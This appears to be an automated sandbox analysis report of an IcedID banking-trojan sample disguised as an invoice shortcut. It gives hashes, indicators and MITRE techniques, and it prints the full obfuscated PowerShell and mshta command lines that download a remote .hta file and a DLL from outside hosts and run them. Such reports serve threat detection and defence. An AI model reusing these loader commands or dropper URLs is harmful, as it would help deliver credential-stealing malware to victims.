icedid | d94a96230551df45ea50a618f4ef47ab5f2cceaa612da2acdbd05a34b3e32cae

Analysis

max time kernel
90s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
06/07/2022, 18:01

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General

Target
Invoice.lnk
Size 178KB
Sample220706-wl7wkshgg2
SHA256 d94a96230551df45ea50a618f4ef47ab5f2cceaa612da2acdbd05a34b3e32cae
MD5 c29d6fc092698aafe01ece64da57254f
SHA1 523e8303f8d6853ef499b742ef5e9d7485803a88
SHA512 fa37a95c3eb1256bea25cc19f84de5de77f24a38938e062a08fab2073a8cc9ca480fa58fc90103f0e298958605866b1ec192971099dcaca4966bd134ac243e50
MD5 SHA1 SHA512

Score

10^/10

icedid 1487191074 banker loader suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://comradespoon.com/5h.hta

Extracted

Family

icedid

Campaign

1487191074

vneastruzz.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	4160	mshta.exe
14	2820	powershell.exe
23	236	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 1 IoCs

pid	Process
236	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4980	powershell.exe
4980	powershell.exe
2820	powershell.exe
2820	powershell.exe
236	rundll32.exe
236	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 4980	4420	cmd.exe	81
PID 4420 wrote to memory of 4980	4420	cmd.exe	81
PID 4980 wrote to memory of 4160	4980	powershell.exe	83
PID 4980 wrote to memory of 4160	4980	powershell.exe	83
PID 4160 wrote to memory of 2820	4160	mshta.exe	84
PID 4160 wrote to memory of 2820	4160	mshta.exe	84
PID 2820 wrote to memory of 236	2820	powershell.exe	89
PID 2820 wrote to memory of 236	2820	powershell.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $OIdEhQrv = [convert]::FromBase64String('PjIv');$FByAlEjZ = [convert]::FromBase64String('GgQfAxZXHwMDB01YWBQYGgUWExIEBxgYGVkUGBpYQh9ZHwMW');$yZlUjspn = -join($OIdEhQrv | % {[char] ($_ -bxor 0x77)});$lMhAVEem = -join ($FByAlEjZ | % { [char] ($_ -bxor 0x77)});sal UFRBSlOH $yZlUjspn;UFRBSlOH $lMhAVEem
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" http://comradespoon.com/5h.hta
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function lpasD($HADYWKdP, $JQNbwy){[IO.File]::WriteAllBytes($HADYWKdP, $JQNbwy)};function UrOfCPrL($HADYWKdP){if($HADYWKdP.EndsWith((qQtFjAStmmZUquwlKa @(65433,65487,65495,65495))) -eq $True){Start-Process (qQtFjAStmmZUquwlKa @(rundll32.exe $HADYWKdP ,PluginInit ))}elseif($HADYWKdP.EndsWith((qQtFjAStmmZUquwlKa @(65433,65499,65502,65436))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $HADYWKdP}else{Start-Process $HADYWKdP}};function iaeLEXNRYglRNM($lpasD){$ssPVUzIfuhNMPpFbC=(qQtFjAStmmZUquwlKa @(65459,65492,65487,65487,65488,65497));$uAbUQLrXxwt=(Get-ChildItem $lpasD -Force);$uAbUQLrXxwt.Attributes=$uAbUQLrXxwt.Attributes -bor ([IO.FileAttributes]$ssPVUzIfuhNMPpFbC).value__};function BRrXupXAZjXJXcLwJn($fRadwPdaCcH){$ZudUcOaTTWDij = New-Object (qQtFjAStmmZUquwlKa @(65465,65488,65503,65433,65474,65488,65485,65454,65495,65492,65488,65497,65503));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$JQNbwy = $ZudUcOaTTWDij.DownloadData($fRadwPdaCcH);return $JQNbwy};function qQtFjAStmmZUquwlKa($aiWdOwItl){$JGtzYUbtTnusApt=65387;$ouOlcqQbirCOt=$Null;foreach($ALFUNolW in $aiWdOwItl){$ouOlcqQbirCOt+=[char]($ALFUNolW-$JGtzYUbtTnusApt)};return $ouOlcqQbirCOt};function bdpFrZCPoqatcoUiW(){$QuseLIVGitH = $env:ProgramData + '\';$LbGea = $QuseLIVGitH + '1.dll'; if (Test-Path -Path $LbGea){UrOfCPrL $LbGea;}Else{ $oGMWxNZW = BRrXupXAZjXJXcLwJn (qQtFjAStmmZUquwlKa @(65491,65503,65503,65499,65445,65434,65434,65486,65498,65496,65501,65484,65487,65488,65502,65499,65498,65498,65497,65433,65486,65498,65496,65434,65436,65433,65487,65495,65495));lpasD $LbGea $oGMWxNZW;UrOfCPrL $LbGea;};iaeLEXNRYglRNM $LbGea;;;;;}bdpFrZCPoqatcoUiW;
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2820
    - - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" C:\ProgramData\1.dll PluginInit
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:236

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

1.dll

Path C:\ProgramData\1.dll
Size 813KB
SHA256 1431a8c575238489245caf724cf7d6418ae4a7f72d76bb287fa54a9c1aadd710
MD5 35999cd6417ae33f264178adb800d560
SHA1 74276d57902e683fbcddb313cb34b0f92bcb52df
SHA512 78ce4cf3f57ff3c39ed0af5998d1300805018511e788f3b9cf7505e01409fc3b7630555acda91e863c41a36043d1507e438089168286e920dfbef06382cc810d
SSDEEP 12288:tIG1uJv4kMpsp2GkK8AU9eh543QzBLh8nNKLbokHNzk99Q8GGQK4F7:tIzJwkMVGVh5OILhx8kHG6a4F
MD5 SHA1 SHA512 SSDEEP

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1.dll

Path C:\ProgramData\1.dll
Size 813KB
SHA256 1431a8c575238489245caf724cf7d6418ae4a7f72d76bb287fa54a9c1aadd710
MD5 35999cd6417ae33f264178adb800d560
SHA1 74276d57902e683fbcddb313cb34b0f92bcb52df
SHA512 78ce4cf3f57ff3c39ed0af5998d1300805018511e788f3b9cf7505e01409fc3b7630555acda91e863c41a36043d1507e438089168286e920dfbef06382cc810d
SSDEEP 12288:tIG1uJv4kMpsp2GkK8AU9eh543QzBLh8nNKLbokHNzk99Q8GGQK4F7:tIzJwkMVGVh5OILhx8kHG6a4F
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 258ea4ccbc181f6b86d3a819981d9cf526950f1aa7517b12cda14b856aad8c90
MD5 66898dbf1d1f32af63256328731f2c9e
SHA1 21f5828b21fae6d81e57a11e113440c95e1752de
SHA512 65ab1f1224ba418a733b6fe9aecead3c97cb92bf236ffddd77ab70361d81d3d02c24e45c7db1019724d52a0556e2248ed23f696cb49b970efce0bba1666b5e94
MD5 SHA1 SHA512

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memory/236-144-0x0000000180000000-0x0000000180009000-memory.dmp

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memory/2820-138-0x00007FFB7BA50000-0x00007FFB7C511000-memory.dmp

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memory/2820-142-0x00007FFB7BA50000-0x00007FFB7C511000-memory.dmp

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memory/4980-134-0x00007FFB7CC40000-0x00007FFB7D701000-memory.dmp

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memory/4980-131-0x0000018AF8220000-0x0000018AF8242000-memory.dmp

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memory/4980-143-0x00007FFB7CC40000-0x00007FFB7D701000-memory.dmp

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